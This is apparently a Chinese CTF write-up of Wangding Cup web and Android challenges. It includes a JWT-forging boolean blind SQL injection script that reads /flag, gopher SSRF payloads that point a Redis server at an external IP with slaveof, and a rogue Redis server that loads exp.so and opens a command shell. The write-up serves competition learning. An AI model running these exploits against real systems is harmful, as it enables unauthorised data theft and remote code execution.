网鼎杯玄武组部分web题解

查看JS，在JS中找到p14.php，直接copy下来console执行，输入战队的token就可以了

 

 

 

js_on

 

顺手输入一个 admin admin，看到下面的信息

 

欢迎admin
这里是你的信息：key:xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6

 

第一步想的是二次注入，但是一直被嘲讽，出题人素质有待加强，然后重新捋一遍思路，是不是命令注入，稍微测试了一下，感觉不对路，重新回过头，提示的这个key很明显是 jwt 的key，然后猜测二次注入的部分是不是在token部分，结果二次注入没发现，倒是发现在 token处存在布尔注入，如果为真 news会返回你输入的内容，如果为假，则返回 ？？？no message

 

脚本

 

 

# coding=utf-8

import jwt
import requests
import re
requests.packages.urllib3.disable_warnings()
key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6"
url = "http://84f801d8da46417d9747f9bb2f8187b963c126676ca644fd.cloudgame1.ichunqiu.com/index.php"
proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"}
# info = jwt.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJuZXdzIjoia2V5OnhSdCpZTURxeUNDeFl4aTlhQExnY0dwbm1NMlg4aSY2In0.EpNdctJ5Knu4ZkRcatsyMOxas1QgomB0Z49qb7_eoVg",key,algorithms=['HS256'])
# if info:
    # print(info)

# payloadTmpl = "i'/**/or/**/ascii(mid(database(),{},1))>{}#"
# payloadTmpl = "i'/**/or/**/ascii(mid((select/**/group_concat(schema_name)/**/from/**/information_schema.SCHEMATA),{},1))>{}#"
# payloadTmpl = "i'/**/or/**/ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{},1))>{}#"
# payloadTmpl = "i'/**/or/**/ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()),{},1))>{}#"
payloadTmpl = "i'/**/or/**/ascii(mid((select/**/load_file('/flag')),{},1))>{}#"

def half_interval():
    result = ""
    for i in range(1,45):
        min = 32
        max = 127
        while abs(max-min) > 1:
            mid = (min + max)//2 
            payload = payloadTmpl.format(i,mid)
            jwttoken = {
                "user": payload,
                "news": "success"
            }
            payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")
            # print(payload)
            cookies = dict(token=str(payload))
            res = requests.get(url,cookies=cookies,proxies=proxies)
            if re.findall("success", res.text) != []:
                min = mid
            else:
                max = mid
        result += chr(max)
        print(result)

if __name__ == "__main__":
    half_interval()
    # payload = payloadTmpl.format(1,32)
    # jwttoken = {
    #     "user": payload,
    #     "news": "success"
    # }
    # print(jwttoken)
    # payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii")
    # print(payload)
    # cookies = dict(token=str(payload))
    # res = requests.get(url,cookies=cookies,proxies=proxies)
    # res.encoding='utf-8'
    # print(res.text)

2.png

 

 

ssrfme

 

刚拿到题目，想起来跟 SECCON 的题目很像，直接DNS重绑定绕过第一步

 

获取到hint的源码，提示ssrf 打 redis，直接写contrab在save的时候提示没权限，写shell不知道路径

 

一直主从复制也没成功

 

很坑，没权限

 

后来检查一下发现目录不对，转移到有权限的/tmp 下面

 

gopher://ctf.m0te.top:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit

 

然后重复主从的步骤，在自己的VPS上起好了 rogue 服务器

 

gopher://ctf.m0te.top:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%252039.107.68.253%252060001%250d%250aquit

 

服务器监听

 

import socket
import time

CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"

def redis_format(arr):
    global CRLF
    global payload
    redis_arr=arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len(x))+CRLF+x
    cmd+=CRLF
    return cmd

def redis_connect(rhost,rport):
    sock=socket.socket()
    sock.connect((rhost,rport))
    return sock

def send(sock,cmd):
    sock.send(redis_format(cmd))
    print(sock.recv(1024).decode("utf-8"))

def interact_shell(sock):
    flag=True
    try:
        while flag:
            shell=raw_input("\033[1;32;40m[*]\033[0m ")
            shell=shell.replace(" ","${IFS}")
            if shell=="exit" or shell=="quit":
                flag=False
            else:
                send(sock,"system.exec {}".format(shell))
    except KeyboardInterrupt:
        return


def RogueServer(lport):
    global CRLF
    global payload
    flag=True
    result=""
    sock=socket.socket()
    sock.bind(("0.0.0.0",lport))
    sock.listen(10)
    clientSock, address = sock.accept()
    while flag:
        data = clientSock.recv(1024)
        if "PING" in data:
            result="+PONG"+CRLF
            clientSock.send(result)
            flag=True
        elif "REPLCONF" in data:
            result="+OK"+CRLF
            clientSock.send(result)
            flag=True
        elif "PSYNC" in data or "SYNC" in data:
            result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
            result += "$" + str(len(payload)) + CRLF
            result = result.encode()
            result += payload
            result += CRLF
            clientSock.send(result)
            flag=False

if __name__=="__main__":
    lhost="xxx.xxx.xxx.xxx"
    lport=60001

 

 

java

 

用 jadx 对 java.apk 反汇编

 

主程序逻辑并不复杂，正常的输入，以及将输入进行计算后比对

 

先对用户输入进行 AES 加密 ，Key 为 aes_check_key!@#，然后进行两次异或，最后 base64 编码

 

与 VsBDJCvuhD65/+sL+Hlf587nWuIa2MPcqZaq7GMVWI0Vx8l9R42PXWbhCRftoFB3进行比较

 

所以 crack 过程也很简单，逆回来就得到输入，但是中间卡在密钥并不是直接给的密钥，还对密钥里 'e' 和 'o'进行了替换，最终密钥为 aos_chock_koy!@#，逆回去得到flag